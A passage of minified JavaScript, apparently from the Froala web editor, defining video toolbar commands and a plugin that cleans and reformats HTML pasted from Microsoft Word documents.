Video",undo:!1,focus:!0,refreshAfterCallback:!1,popup:!0,callback:function(){this.popups.isVisible("video.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("video.insert")):this.video.showInsertPopup()},plugin:"video"}),kt.DefineIcon("insertVideo",{NAME:"video-camera",FA5NAME:"camera",SVG_KEY:"insertVideo"}),kt.DefineIcon("videoByURL",{NAME:"link",SVG_KEY:"insertLink"}),kt.RegisterCommand("videoByURL",{title:"By URL",undo:!1,focus:!1,toggle:!0,callback:function(){this.video.showLayer("video-by-url")},refresh:function(e){this.video.refreshByURLButton(e)}}),kt.DefineIcon("videoEmbed",{NAME:"code",SVG_KEY:"codeView"}),kt.RegisterCommand("videoEmbed",{title:"Embedded Code",undo:!1,focus:!1,toggle:!0,callback:function(){this.video.showLayer("video-embed")},refresh:function(e){this.video.refreshEmbedButton(e)}}),kt.DefineIcon("videoUpload",{NAME:"upload",SVG_KEY:"upload"}),kt.RegisterCommand("videoUpload",{title:"Upload Video",undo:!1,focus:!1,toggle:!0,callback:function(){this.video.showLayer("video-upload")},refresh:function(e){this.video.refreshUploadButton(e)}}),kt.RegisterCommand("videoInsertByURL",{undo:!0,focus:!0,callback:function(){this.video.insertByURL()}}),kt.RegisterCommand("videoInsertEmbed",{undo:!0,focus:!0,callback:function(){this.video.insertEmbed()}}),kt.DefineIcon("videoDisplay",{NAME:"star",SVG_KEY:"star"}),kt.RegisterCommand("videoDisplay",{title:"Display",type:"dropdown",options:{inline:"Inline",block:"Break Text"},callback:function(e,t){this.video.display(t)},refresh:function(e){this.opts.videoTextNear||e.addClass("fr-hidden")},refreshOnShow:function(e,t){this.video.refreshDisplayOnShow(e,t)}}),kt.DefineIcon("video-align",{NAME:"align-left",SVG_KEY:"align Left"}),kt.DefineIcon("video-align-left",{NAME:"align-left",SVG_KEY:"alignLeft"}),kt.DefineIcon("video-align-right",{NAME:"align-right",SVG_KEY:"alignRight"}),kt.DefineIcon("video-align-center",{NAME:"align-justify",SVG_KEY:"alignJustify"}),kt.DefineIcon("videoAlign",{NAME:"align-center",SVG_KEY:"alignCenter"}),kt.RegisterCommand("videoAlign",{type:"dropdown",title:"Align",options:{left:"Align Left",center:"None",right:"Align Right"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=kt.COMMANDS.videoAlign.options;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command fr-title" tabIndex="-1" role="option" data-cmd="videoAlign" data-param1="'.concat(n,'" title="').concat(this.language.translate(t[n]),'">').concat(this.icon.create("video-align-".concat(n)),'<span class="fr-sr-only">').concat(this.language.translate(t[n]),"</span></a></li>"));return e+="</ul>"},callback:function(e,t){this.video.align(t)},refresh:function(e){this.video.refreshAlign(e)},refreshOnShow:function(e,t){this.video.refreshAlignOnShow(e,t)}}),kt.DefineIcon("videoReplace",{NAME:"exchange",FA5NAME:"exchange-alt",SVG_KEY:"replaceImage"}),kt.RegisterCommand("videoReplace",{title:"Replace",undo:!1,focus:!1,popup:!0,refreshAfterCallback:!1,callback:function(){this.video.replace()}}),kt.DefineIcon("videoRemove",{NAME:"trash",SVG_KEY:"remove"}),kt.RegisterCommand("videoRemove",{title:"Remove",callback:function(){this.video.remove()}}),kt.DefineIcon("autoplay",{NAME:"autoplay",SVG_KEY:"autoplay"}),kt.RegisterCommand("autoplay",{undo:!1,focus:!1,popup:!0,title:"Autoplay",callback:function(){this.video.setAutoplay()}}),kt.DefineIcon("videoSize",{NAME:"arrows-alt",SVG_KEY:"imageSize"}),kt.RegisterCommand("videoSize",{undo:!1,focus:!1,popup:!0,title:"Change Size",callback:function(){this.video.showSizePopup()}}),kt.DefineIcon("videoBack",{NAME:"arrow-left",SVG_KEY:"back"}),kt.RegisterCommand("videoBack",{title:"Back",undo:!1,focus:!1,back:!0,callback:function(){this.video.back()},refresh:function(e){this.video.get()||this.opts.toolbarInline?(e.removeClass("fr-hidden"),e.next().hasClass("fr-separator")&&e.next().removeClass("fr-hidden")):(e.addClass("fr-hidden"),e.next().hasClass("fr-separator")&&e.next().addClass("fr-hidden"))}}),kt.RegisterCommand("videoDismissError",{title:"OK",undo:!1,callback:function(){this.video.hideProgressBar(!0)}}),kt.RegisterCommand("videoSetSize",{undo:!0,focus:!1,title:"Update",refreshAfterCallback:!1,callback:function(){this.video.setSize()}}),Object.assign(kt.DEFAULTS,{wordDeniedTags:[],wordDeniedAttrs:[],wordAllowedStyleProps:["font-family","font-size","background","color","width","text-align","vertical-align","background-color","padding","margin","height","margin-top","margin-left","margin-right","margin-bottom","text-decoration","font-weight","font-style","text-indent","border","border-.*","line-height","list-style-type"],wordPasteModal:!0,wordPasteKeepFormatting:!0}),kt.PLUGINS.wordPaste=function(L){var i,a,T,O=L.$,s="word_paste",h={},w=!0;function t(e){var t=L.opts.wordAllowedStyleProps;e||(L.opts.wordAllowedStyleProps=[]),0===a.indexOf("<colgroup>")&&(a="<table>"+a+"</table>"),a=o(a=a.replace(/<span[\n\r ]*style='mso-spacerun:yes'>([\r\n\u00a0 ]*)<\/span>/g,function(e,t){for(var n="",r=0;r++<t.length;)n+=" ";return n}),L.paste.getRtfClipboard());var n=L.doc.createElement("DIV");n.innerHTML=a,L.html.cleanBlankSpaces(n),a=n.innerHTML,a=(a=L.paste.cleanEmptyTagsAndDivs(a)).replace(/\u200b/g,""),function r(){L.modals.hide(s)}(),L.helpers.isMobile()&&L.events.focus(),L.paste.clean(a,!0,!0),L.opts.wordAllowedStyleProps=t}function A(e){e.parentNode&&e.parentNode.removeChild(e)}function g(e,t){if(t(e))for(var n=e.firstChild;n;){var r=n,a=n.previousSibling;n=n.nextSibling,g(r,t),r.previousSibling||r.nextSibling||r.parentNode||!n||a===n.previousSibling||!n.parentNode?r.previousSibling||r.nextSibling||r.parentNode||!n||n.previousSibling||n.nextSibling||n.parentNode||(a?n=a.nextSibling?a.nextSibling.nextSibling:null:e.firstChild&&(n=e.firstChild.nextSibling)):n=a?a.nextSibling:e.firstChild}}function I(e){return O(e).hasClass("ListContainerWrapper")&&0<O(e).find("ol").length}function D(e){return O(e).hasClass("ListContainerWrapper")&&0<O(e).find("ul").length}function B(e){if(I(e)||D(e))return!0;if(!e.getAttribute("style")||!/mso-list:[\s]*l/gi.test(e.getAttribute("style").replace(/\n/gi,"")))return!1;try{if(!e.querySelector('[style="mso-list:Ignore"]'))return!!(e.outerHTML&&0<=e.outerHTML.indexOf("\x3c!--[if !supportLists]--\x3e"))}catch(t){return!1}return!0}function F(e){return I(e)||D(e)?O(e).find("li").attr("data-aria-level"):e.getAttribute("style").replace(/\n/gi,"").replace(/.*level([0-9]+?).*/gi,"$1")}function P(e,r){var t=e.cloneNode(!0);if(-1!==["H1","H2","H3","H4","H5","H6"].indexOf(e.tagName)){var n=document.createElement(e.tagName.toLowerCase());n.setAttribute("style",e.getAttribute("style")),n.innerHTML=t.innerHTML,t.innerHTML=n.outerHTML}g(t,function(e){if(e.nodeType==Node.COMMENT_NODE&&(L.browser.msie||L.browser.safari||L.browser.edge))try{if("[if !supportLists]"===e.data){for(e=e.nextSibling;e&&e.nodeType!==Node.COMMENT_NODE;){var t=e.nextSibling;e.parentNode.removeChild(e),e=t}e&&e.nodeType==Node.COMMENT_NODE&&e.parentNode.removeChild(e)}}catch(n){return!1}return e.nodeType===Node.ELEMENT_NODE&&("mso-list:\nIgnore"===e.getAttribute("style")&&e.setAttribute("style","mso-list:Ignore"),"mso-list:Ignore"===e.getAttribute("style")&&e.parentNode.removeChild(e),e.setAttribute("style",m(e)),b(e,r)),!0});var a=I(e)?O(e).find("li").get(0).innerHTML:t.innerHTML;if(I(e)||D(e)){a="";for(var o=O(e).find("li"),i=0;i<o.length;i++){var s=O(o.get(i).innerHTML);s.find("span").each(function(){" "===O(this).html()&&(0<O(this).prev().text().trim().length?O(this).remove():O(this).html("​"))});var l=o[i].style.marginLeft;l?(l=parseFloat(parseFloat(l).toFixed(2))+l.match(/[a-zA-Z]+/g)[0],a+='<li style = "margin-left: '.concat(l,';">').concat(s.get(0).innerHTML,"</li>")):a+="<li >".concat(s.get(0).innerHTML,"</li>")}}else{var c,d=null===(c=O(e).find("p").get(0))||void 0===c?void 0:c.style.marginLeft;a=d?(d=parseFloat(parseFloat(d).toFixed(2))+d.match(/[a-zA-Z]+/g)[0],'<li style = "margin-left: '.concat(d,';">').concat(a,"</li>")):"<li>".concat(a,"</li>")}return a=a.replace(/<!--[\s\S]*?-->/gi,"")}function m(e){var t=1<arguments.length&&arguments[1]!==undefined?arguments[1]:null,n="",r=["line-height","font-family","font-size","color","background"].concat(Le(t||[])),a=e.getAttribute("style");return a&&r.forEach(function(t){var e=a.split(";").find(function(e){return e.trim().includes(t+":")});e&&(e.includes("mso")&&(e=e.match(new RegExp(t+":.*(;|)"))[0]),e.trim().startsWith(t)&&(n+=e+";"))}),n}function C(e,t){for(var n=document.createElement(t),r=0;r<e.attributes.length;r++){var a=e.attributes[r].name;"FONT"===e.tagName&&(L.browser.msie&&["id","class","style"].indexOf(a)<0||!L.browser.msie&&CSS.supports(a,e.getAttribute(a)))?O(n).css(a,e.getAttribute(a)):n.setAttribute(a,e.getAttribute(a))}return n.innerHTML=e.innerHTML,e.parentNode.replaceChild(n,e),n}function E(e,t){L.node.clearAttributes(e);for(var n=e.firstElementChild,r=0,a=!1,o=null;n;){if(n.firstElementChild&&-1!==n.firstElementChild.tagName.indexOf("W:"))for(var i=0;i<n.children.length;i++)"<('[^']*'|\"[^\"]*\"|[^\"'>])*>"==n.children[i]&&(n.innerHTML+=n.children[i]);(o=n.getAttribute("width"))||(o=n.style.width),o||a||(a=!0),r+=parseInt(o,10),(!n.firstChild||n.firstChild&&n.firstChild.data===kt.UNICODE_NBSP)&&(n.firstChild&&A(n.firstChild),n.innerHTML="<br>");for(var s=n.firstElementChild,l=1===n.children.length;s;)"P"!==s.tagName||B(s)||l&&_(s),s=s.nextElementSibling;if(t){var c=n.getAttribute("class");if(c){var d=(c=S(c)).match(/xl[0-9]+/gi);if(d){var f="."+d[0];t[f]&&k(n,t[f])}}t.td&&k(n,t.td)}var p=n.getAttribute("style");p&&(p=S(p))&&";"!==p.slice(-1)&&(p+=";");var u=n.getAttribute("valign");if(!u&&p){var h=p.match(/vertical-align:.+?[; "]{1,1}/gi);h&&(u=h[h.length-1].replace(/vertical-align:(.+?)[; "]{1,1}/gi,"$1"))}var g=null;if(p){var m=p.match(/text-align:.+?[; "]{1,1}/gi);m&&(g=m[m.length-1].replace(/text-align:(.+?)[; "]{1,1}/gi,"$1")),"general"===g&&(g=null)}var v=null;if(p){var b=p.match(/background:.+?[; "]{1,1}/gi);b&&(v=b[b.length-1].replace(/background:(.+?)[; "]{1,1}/gi,"$1"))}var C=n.getAttribute("colspan"),E=n.getAttribute("rowspan");C&&n.setAttribute("colspan",C),E&&n.setAttribute("rowspan",E),u&&(n.style["vertical-align"]=u),g&&(n.style["text-align"]=g),v&&(n.style["background-color"]=v),o&&n.setAttribute("width",o),n=n.nextElementSibling}for(n=e.firstElementChild;n;)o=n.getAttribute("width"),a&&n.removeAttribute("width"),n=n.nextElementSibling;e.previousSibling?T!=r&&(w=!1):T=r,e.nextElementSibling||function y(e){var t=e.closest("table"),n=0,a=function a(){var r=0;Array.from(e.children).forEach(function(e){var t=parseInt(e.getAttribute("width"),10);isNaN(t)||(r+=t)}),n<r&&(n=r),w?Array.from(e.children).forEach(function(e){var t=parseInt(e.getAttribute("width"),10);if(!isNaN(t)&&0<r){var n=100*t/r;e.setAttribute("width","".concat(n,"%"))}}):Array.from(e.children).forEach(function(e){var t=parseInt(e.getAttribute("width"),10);isNaN(t)||e.setAttribute("width","".concat(t,"px"))}),e=e.previousElementSibling};for(;e;)a();if(t&&0<n){var r=parseInt(t.style.width,10);(isNaN(r)||0===r)&&(t.style.width="".concat(n,"px"))}}(e)}function _(e){var t=e.getAttribute("align");t&&(e.style["text-align"]=t,e.removeAttribute("align"))}function S(e){return e.replace(/\n|\r|\n\r|"/g,"")}function k(e,t,n){if(t){var r=e.getAttribute("style");r&&";"!==r.slice(-1)&&(r+=";"),t&&";"!==t.slice(-1)&&(t+=";"),t=t.replace(/\n/gi,"");var a=null;a=n?(r||"")+t:t+(r||""),e.setAttribute("style",a)}}var u=null;function c(e,t,n){for(var r=e.split(n),a=1;a<r.length;a++){var o=r[a];if(1<(o=o.split("shplid")).length){o=o[1];for(var i="",s=0;s<o.length&&"\\"!==o[s]&&"{"!==o[s]&&" "!==o[s]&&"\r"!==o[s]&&"\n"!==o[s];)i+=o[s],s++;var l=o.split("bliptag");if(l&&l.length<2)continue;var c=null;if(-1!==l[0].indexOf("pngblip")?c="image/png":-1!==l[0].indexOf("jpegblip")&&(c="image/jpeg"),!c)continue;var d=l[1].split("}");if(d&&d.length<2)continue;var f=void 0;if(2<d.length&&-1!==d[0].indexOf("blipuid"))f=d[1].split(" ");else{if((f=d[0].split(" "))&&f.length<2)continue;f.shift()}var p=f.join("");u[t+i]={image_hex:p,image_type:c}}}}function v(e,t){if(t){var n;if("IMG"===e.tagName){var r=e.getAttribute("src");if(!r||-1===r.indexOf("file://"))return;if(0===r.indexOf("file://")&&L.helpers.isURL(e.getAttribute("alt")))return void e.setAttribute("src",e.getAttribute("alt"));(n=h[e.getAttribute("v:shapes")])||(n=e.getAttribute("v:shapes"),e.parentNode&&e.parentNode.parentNode&&0<=e.parentNode.parentNode.innerHTML.indexOf("msEquation")&&(n=null))}else n=e.parentNode.getAttribute("o:spid");if(e.removeAttribute("height"),n){!function s(e){u={},c(e,"i","\\shppict"),c(e,"s","\\shp{")}(t);var a=u[n.substring(7)];if(a){var o=function l(e){for(var t=e.match(/[0-9a-f]{2}/gi),n=[],r=0;r<t.length;r++)n.push(String.fromCharCode(parseInt(t[r],16)));var a=n.join("");return btoa(a)}(a.image_hex),i="data:"+a.image_type+";base64,"+o;"IMG"===e.tagName?(e.src=i,e.setAttribute("data-fr-image-pasted",!0)):O(e).parent().before('<img data-fr-image-pasted="true" src="'.concat(i,'" style="').concat(e.parentNode.getAttribute("style"),'">')).remove()}}}}function b(e,t){var n=e.tagName,r=n.toLowerCase();e.firstElementChild&&("I"===e.firstElementChild.tagName?C(e.firstElementChild,"em"):"B"===e.firstElementChild.tagName&&C(e.firstElementChild,"strong"));if(-1!==["SCRIPT","APPLET","EMBED","NOFRAMES","NOSCRIPT"].indexOf(n))return A(e),!1;for(var a=["META","LINK","XML","ST1:","O:","W:","FONT"],o=0;o<a.length;o++)if(-1!==n.indexOf(a[o]))return e.innerHTML&&(e.outerHTML=e.innerHTML),A(e),!1;if("TD"!==n){var i=e.getAttribute("class")||"MsoNormal";if(t&&i){for(var s=(i=S(i)).split(" "),l=0;l<s.length;l++){var c=[],d="."+s[l];c.push(d),d=r+d,c.push(d);for(var f=0;f<c.length;f++)t[c[f]]&&k(e,t[c[f]])}e.removeAttribute("class")}t&&t[r]&&k(e,t[r])}if(-1!==["P","H1","H2","H3","H4","H5","H6","PRE"].indexOf(n)){var p=e.getAttribute("class");if(p&&(t&&t[n.toLowerCase()+"."+p]&&k(e,t[n.toLowerCase()+"."+p]),-1!==p.toLowerCase().indexOf("mso"))){var u=S(p);(u=u.replace(/[0-9a-z-_]*mso[0-9a-z-_]*/gi,""))?e.setAttribute("class",u):e.removeAttribute("class")}var h=e.getAttribute("style");if(h){var g=h.match(/text-align:.+?[; "]{1,1}/gi);g&&g[g.length-1].replace(/(text-align:.+?[; "]{1,1})/gi,"$1")}_(e)}if("TR"===n&&E(e,t),"A"!==n||e.attributes.getNamedItem("href")||e.attributes.getNamedItem("name")||!e.innerHTML||(e.outerHTML=e.innerHTML),"A"==n&&e.getAttribute("href")&&e.querySelector("img"))for(var m=e.querySelectorAll("span"),v=0;v<m.length;v++)m[v].innerText||(m[v].outerHTML=m[v].innerHTML);if("TD"!==n&&"TH"!==n||e.innerHTML||(e.innerHTML="<br>"),e.getAttribute("lang")&&e.removeAttribute("lang"),e.getAttribute("style")&&-1!==e.getAttribute("style").toLowerCase().indexOf("mso")){var b=S(e.getAttribute("style"));(b=b.replace(/[0-9a-z-_]*mso[0-9a-z-_]*:.+?(;{1,1}|$)/gi,"").replace("line-height:107%",""))?e.setAttribute("style",b):e.removeAttribute("style")}return!0}function o(e,t){0<=e.indexOf("<html")&&(e=e.replace(/[.\s\S\w\W<>]*(<html[^>]*>[.\s\S\w\W<>]*<\/html>)[.\s\S\w\W<>]*/i,"$1"));var l=e.match(/(MSFontService|class="?Mso|class='?Mso|class="?Xl|class='?Xl|class=Xl|style="[^"]*\bmso-|style='[^']*\bmso-|w:WordDocument|LibreOffice)/gi);!function f(e){for(var t=e.split("v:shape"),n=1;n<t.length;n++){var r=t[n],a=r.split(' id="')[1];if(a&&1<a.length){a=a.split('"')[0];var o=r.split(' o:spid="')[1];o&&1<o.length&&(o=o.split('"')[0],h[a]=o)}}}(e);var n=(new DOMParser).parseFromString(e,"text/html"),r=n.head,a=n.body,c=function p(e){var t={},n=e.getElementsByTagName("style");if(n.length){var r=n[0].innerHTML.match(/[\S ]+\s+{[\s\S]+?}/gi);if(r)for(var a=0;a<r.length;a++){var o=r[a],i=o.replace(/([\S ]+\s+){[\s\S]+?}/gi,"$1"),s=o.replace(/[\S ]+\s+{([\s\S]+?)}/gi,"$1");i=i.replace(/^[\s]|[\s]$/gm,""),s=s.replace(/^[\s]|[\s]$/gm,""),i=i.replace(/\n|\r|\n\r/g,""),s=s.replace(/\n|\r|\n\r/g,"");for(var l=i.split(", "),c=0;c<l.length;c++)t[l[c]]=s}}return t}(r);g(a,function(e){if(e.nodeType===Node.ELEMENT_NODE&&e.hasAttribute("style")){var t=e.getAttribute("style");e.setAttribute("style",t),e.style.fontFamily||e.setAttribute("style",function n(e){return e.replace(/mso-(bidi|fareast|fareast-theme)-font-family/g,"font-family")}(t))}return!0}),g(a,function(e){if(e.nodeType===Node.TEXT_NODE&&/\n|\u00a0|\r/.test(e.data)){if(!/\S| /.test(e.data)&&!/[\u00a0]+/.test(e.data))return e.data===kt.UNICODE_NBSP?(e.data="\u200b",!0):1===e.data.length&&10===e.data.charCodeAt(0)?(e.data=" ",!0):(A(e),!1);e.data=e.data.replace(/\n|\r/gi," ")}return!0}),g(a,function(e){return e.nodeType!==Node.ELEMENT_NODE||"V:IMAGEDATA"!==e.tagName&&"IMG"!==e.tagName||v(e,t),!0});for(var o=a.querySelectorAll("ul > ul, ul > ol, ol > ul, ol > ol"),i=o.length-1;0<=i;i--)o[i].previousElementSibling&&"LI"===o[i].previousElementSibling.tagName&&o[i].previousElementSibling.appendChild(o[i]);g(a,function(e){if(e.nodeType===Node.TEXT_NODE)return e.data=e.data.replace(/<br>(\n|\r)/gi,"<br>"),!1;if(e.nodeType===Node.ELEMENT_NODE){if(B(e)){var t=e.parentNode,n=e.previousSibling,r=function M(e,t,n,r){var a,o,i,s,l,c,d,f=navigator.userAgent.toLowerCase();-1!=f.indexOf("safari")&&(f=-1<f.indexOf("chrome")?1:"safari"),e.innerHTML.includes("mso-list:\nIgnore")&&(e.innerHTML=e.innerHTML.replace(/mso-list:\nIgnore/gi,"mso-list:Ignore"));var p,u,h,g,m=/[0-9a-zA-Z]./gi,v="",b=I(e),C=null===(a=O(e).find("ol"))||void 0===a||null===(a=a.attr("style"))||void 0===a||null===(a=a.split(";"))||void 0===a?void 0:a.find(function(e){return e.trim().startsWith("list-style-type")});C==undefined&&D(e)&&(C=null===(u=O(e).find("ul"))||void 0===u||null===(u=u.attr("style"))||void 0===u||null===(u=u.split(";"))||void 0===u?void 0:u.find(function(e){return e.trim().startsWith("list-style-type")}));if(b)c="ol",d=C?"list-style-type: "+C.replace("list-style-type:","").trim()+";":"";else if(D(e))c="ul",d=C?"list-style-type: "+C.replace("list-style-type:","").trim()+";":"";else{var E=e.querySelector('span[style="mso-list:Ignore"]');null==E&&"safari"==f&&(E=e.querySelector('span[lang="PT-BR"]'));var y=!1;E&&(y=y||m.test(E.textContent)),null!==E&&(p=E.textContent.trim().split(".")[0]),c=1==y?(p=(p=E.textContent.trim().split(".")[0]).replace(/\(([^)]+)\)/g,"$1"),isNaN(parseInt(p))?/^(m{0,4}(cm|cd|d?c{0,3})(xc|xl|l?x{0,3})(ix|iv|v?i{0,3}))$/.test(p)?(d="lower-roman;",e.nextElementSibling&&1===e.nextElementSibling.textContent.trim().split(".")[0].length&&(d="lower-alpha;")):/^(M{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3}))$/.test(p)?(d="upper-roman;",e.nextElementSibling&&1===e.nextElementSibling.textContent.trim().split(".")[0].length&&(d="upper-alpha;")):"o"==p?d="circle;":p.match(/^v$/)||(p.match(/^[a-z]$/)||p.match(/^[a-z]\)$/)?d="lower-alpha;":(p.match(/^[A-Z]$/)||p.match(/^[A-Z]\)$/))&&(d="upper-alpha;")):d="decimal;",d="list-style-type: "+d,"ol"):(null!=E&&(p=E.textContent.trim().split(".")[0]),"\xa7"==p?d="square;":"\xb7"==p&&(d="disc;"),d="list-style-type: "+d,"ul"),E==undefined||E.textContent==undefined||isNaN(parseInt(E.textContent.trim().split(".")[1],10))||(v=' class="decimal_type" ')}var L=1,T="",w=(F(e),e.style.marginLeft),A="";w.includes("in")?(A="in",w=parseFloat(w)-.5):w.includes("pt")&&(A="px",w=parseFloat(w)-10),w&&(g=" margin-left: "+w+A+";"),L="list-style-type: upper-alpha;"==d?b?parseInt(O(e).find("ol").attr("start")):p.charCodeAt(0)-64:"list-style-type: lower-alpha;"==d?b?parseInt(O(e).find("ol").attr("start")):p.charCodeAt(0)-96:"list-style-type: upper-roman;"==d||"list-style-type: lower-roman;"==d?b?parseInt(O(e).find("ol").attr("start")):function N(e){for(var t={I:1,V:5,X:10,L:50,C:100,D:500,M:1e3,i:1,v:5,x:10,l:50,c:100,d:500,m:1e3},n=0,r=0,a=e.length-1;0<=a;a--){var o=t[e[a]];r<=o?n+=o:n-=o,r=o}return n}(p):b?parseInt(O(e).find("ol").attr("start")):parseInt(p),T+=d||"",T+=g||"",h="<"+c,h+=v||"",h+="ol"!=c||1==L||isNaN(L)?"":' start = "'+L+'"',h+=T?' style = "'+T+'"':"",h+=">";for(var _=!1;e;){if(!B(e)){if(e.outerHTML&&0<e.outerHTML.indexOf("mso-bookmark")&&0==(e.textContent||"").length){e=e.nextElementSibling;continue}break}var S=F(e);if((n=n||S)<S)h+=(l=M(e,t,S,e.style.marginLeft)).el.outerHTML,e=l.currentNode;else{if(S<n)break;e.firstElementChild&&e.firstElementChild.firstElementChild&&e.firstElementChild.firstElementChild.firstChild&&(m.lastIndex=0),i&&i.firstElementChild&&i.firstElementChild.firstElementChild&&i.firstElementChild.firstElementChild.firstChild&&(m.lastIndex=0,o=m.test(i.firstElementChild.firstElementChild.firstChild.data||i.firstElementChild.firstElementChild.firstChild.firstChild&&i.firstElementChild.firstElementChild.firstChild.firstChild.data||""));var k=!1;(!r&&!e.style.marginLeft||r&&e.style.marginLeft&&r===e.style.marginLeft)&&(k=!0),r=e.style.marginLeft,k||o===undefined?(s=P(e,t),e.nextSibling&&e.nextSibling.innerText!=undefined&&e.nextSibling.innerText!=undefined&&!h.includes('class="decimal_type"')&&(isNaN(parseInt(e.nextSibling.innerText.trim().split(".")[1],10))||(h=h.substring(3,0)+' class="decimal_type"'+h.substring(3,h.length))),h+=s):(1==S&&(h+="</"+c+">",_=!0,i=null),h+=(l=M(e,t,S,e.style.marginLeft)).el.outerHTML,e=l.currentNode);var x=e&&e.nextElementSibling;if(x&&(i=x.previousElementSibling),e&&!B(e)){if(e.outerHTML&&0<e.outerHTML.indexOf("mso-bookmark")&&0==(e.textContent||"").length){e=e.nextElementSibling;continue}break}e&&e.parentNode&&e.parentNode.removeChild(e),e=x}}_||(h+="</"+c+">");var R=document.createElement("div");return R.innerHTML=h,{el:R,currentNode:e}}(e,c).el,a=null;return(a=n?n.nextSibling:t.firstChild)?t.insertBefore(r,a):t.appendChild(r),!1}return"FONT"===e.tagName&&(l&&"LibreOffice"===l[0]||c["."+e.getAttribute("class")])?e=C(e,"span"):l&&"\x3c!--StartFragment--\x3e"===l[0]&&"UL"===e.tagName&&(O(e).find("li span").each(function(){" "===O(this).html()&&(0<O(this).prev().text().trim().length?O(this).remove():O(this).html("​"))}),O(e).is("ul")&&e.setAttribute("style",m(e,["margin","margin-left","list-style-type"])),O(e).find("ul").each(function(){this.setAttribute("style",m(this,["margin","margin-left","list-style-type"]))})),"img"!==e.tagName.toLowerCase()&&function s(t){Array.from(t.attributes).map(function(e){return e.name}).filter(function(e){return e.toLowerCase().startsWith("data-")||e.toLowerCase().startsWith("xml:")}).forEach(function(e){O(t).removeAttr(e)})}(e),b(e,c)}if(e.nodeType!==Node.COMMENT_NODE)return!0;if(-1<e.data.indexOf("[if !supportLineBreakNewLine]"))for(var o=e.nextSibling;o;)(o=e.nextSibling)&&A(o),o.data&&-1<o.data.indexOf("[endif]")&&(o=null);if(-1<e.data.indexOf("[if supportFields]")&&-1<e.data.indexOf("FORMCHECKBOX")){var i=document.createElement("input");i.type="checkbox",e.parentNode.insertBefore(i,e.nextSibling)}return A(e),!1}),a.innerHTML=function u(e){var t=O(document.createElement("div")).attr("id","top-level");t.html(e);for(var n=t[0].querySelectorAll("ol, ul"),r=0;r<n.length;r++)if(O(n[r]).parentsUntil("#top-level","ol, ul").length){n[r].style.removeProperty("margin-left");for(var a=n[r].children,o=0;o<a.length;o++)"LI"==a[o].tagName&&a[o].style.removeProperty("margin-left")}return t[0].innerHTML}(a.innerHTML),g(a,function(e){if(e.nodeType===Node.ELEMENT_NODE){var t=e.tagName;if(!e.innerHTML&&-1===["BR","IMG","INPUT"].indexOf(t)){for(var n=e.parentNode;n&&(A(e),!(e=n).innerHTML)&&"TD"!==e.parentNode.tagName;)n=e.parentNode;return!1}!function f(e){var t=e.getAttribute("style");if(t){(t=S(t))&&";"!==t.slice(-1)&&(t+=";");var n=t.match(/(^|\S+?):.+?;{1,1}/gi);if(n){for(var r={},a=0;a<n.length;a++){var o=n[a].split(":");2===o.length&&("text-align"===o[0]&&"SPAN"===e.tagName||(r[o[0]]=o[1]))}var i="";for(var s in r)if(r.hasOwnProperty(s)){if("font-size"===s&&"pt;"===r[s].slice(-3)){var l=null;try{l=parseFloat(r[s].slice(0,-3),10)}catch(d){l=null}if(l){var c=L.opts.fontSizeUnit;"px"===c?(l=Math.round(1.33*l),r[s]=l+"px;"):"pt"===c&&(l=Math.round(l),r[s]=l+"pt;")}}i+=s+":"+r[s]}i&&e.setAttribute("style",i)}}}(e)}return!0}),g(a,function(e){if(e&&"A"===e.nodeName&&""===e.href){for(var t=document.createDocumentFragment();e.firstChild;)t.appendChild(e.firstChild);e.parentNode.replaceChild(t,e)}return!0}),g(a,function(e){return e&&"P"===e.tagName&&"DIV"===e.parentNode.tagName&&1==e.parentNode.children.length&&O(e).unwrap(),!0}),g(a,function(e){if(e&&"SPAN"===e.tagName)for(;e.nextSibling&&e.nextSibling.nodeType===Node.ELEMENT_NODE&&"SPAN"===e.nextSibling.tagName&&e.getAttribute("style")===e.nextSibling.getAttribute("style");)O(e).append(e.nextSibling.innerHTML),O(e.nextSibling).remove();return!0});var s=a.outerHTML,d=L.opts.htmlAllowedStyleProps;return L.opts.htmlAllowedStyleProps=L.opts.wordAllowedStyleProps,s=L.clean.html(s,L.opts.wordDeniedTags,L.opts.wordDeniedAttrs,!1),L.opts.htmlAllowedStyleProps=d,s}return{_init:function e(){L.events.on("paste.wordPaste",function(e){return a=e,L.opts.wordPasteModal?function o(){if(!i){var e='<h4><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 74.95 73.23" style="height: 25px; vertical-align: text-bottom; margin-right: 5px; display: inline-block"><defs><style>.a{fill:#2a5699;}.b{fill:#fff;}</style></defs><path class="a" d="M615.15,827.22h5.09V834c9.11.05,18.21-.09,27.32.05a2.93,2.93,0,0,1,3.29,3.25c.14,16.77,0,33.56.09,50.33-.09,1.72.17,3.63-.83,5.15-1.24.89-2.85.78-4.3.84-8.52,0-17,0-25.56,0v6.81h-5.32c-13-2.37-26-4.54-38.94-6.81q0-29.8,0-59.59c13.05-2.28,26.11-4.5,39.17-6.83Z" transform="translate(-575.97 -827.22)"/><path class="b" d="M620.24,836.59h28.1v54.49h-28.1v-6.81h22.14v-3.41H620.24v-4.26h22.14V873.2H620.24v-4.26h22.14v-3.41H620.24v-4.26h22.14v-3.41H620.24v-4.26h22.14v-3.41H620.24V846h22.14v-3.41H620.24Zm-26.67,15c1.62-.09,3.24-.16,4.85-.25,1.13,5.75,2.29,11.49,3.52,17.21,1-5.91,2-11.8,3.06-17.7,1.7-.06,3.41-.15,5.1-.26-1.92,8.25-3.61,16.57-5.71,24.77-1.42.74-3.55,0-5.24.09-1.13-5.64-2.45-11.24-3.47-16.9-1,5.5-2.29,10.95-3.43,16.42q-2.45-.13-4.92-.3c-1.41-7.49-3.07-14.93-4.39-22.44l4.38-.18c.88,5.42,1.87,10.82,2.64,16.25,1.2-5.57,2.43-11.14,3.62-16.71Z" transform="translate(-575.97 -827.22)"/></svg> '+L.language.translate("Word Paste Detected")+"</h4>",t=function a(){var e='<div class="fr-word-paste-modal" style="padding: 20px 20px 10px 20px;">';return e+='<p style="text-align: left;">'+L.language.translate("The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?")+"</p>",e+='<div style="text-align: right; margin-top: 50px;"><button class="fr-remove-word fr-command">'+L.language.translate("Clean")+'</button> <button class="fr-keep-word 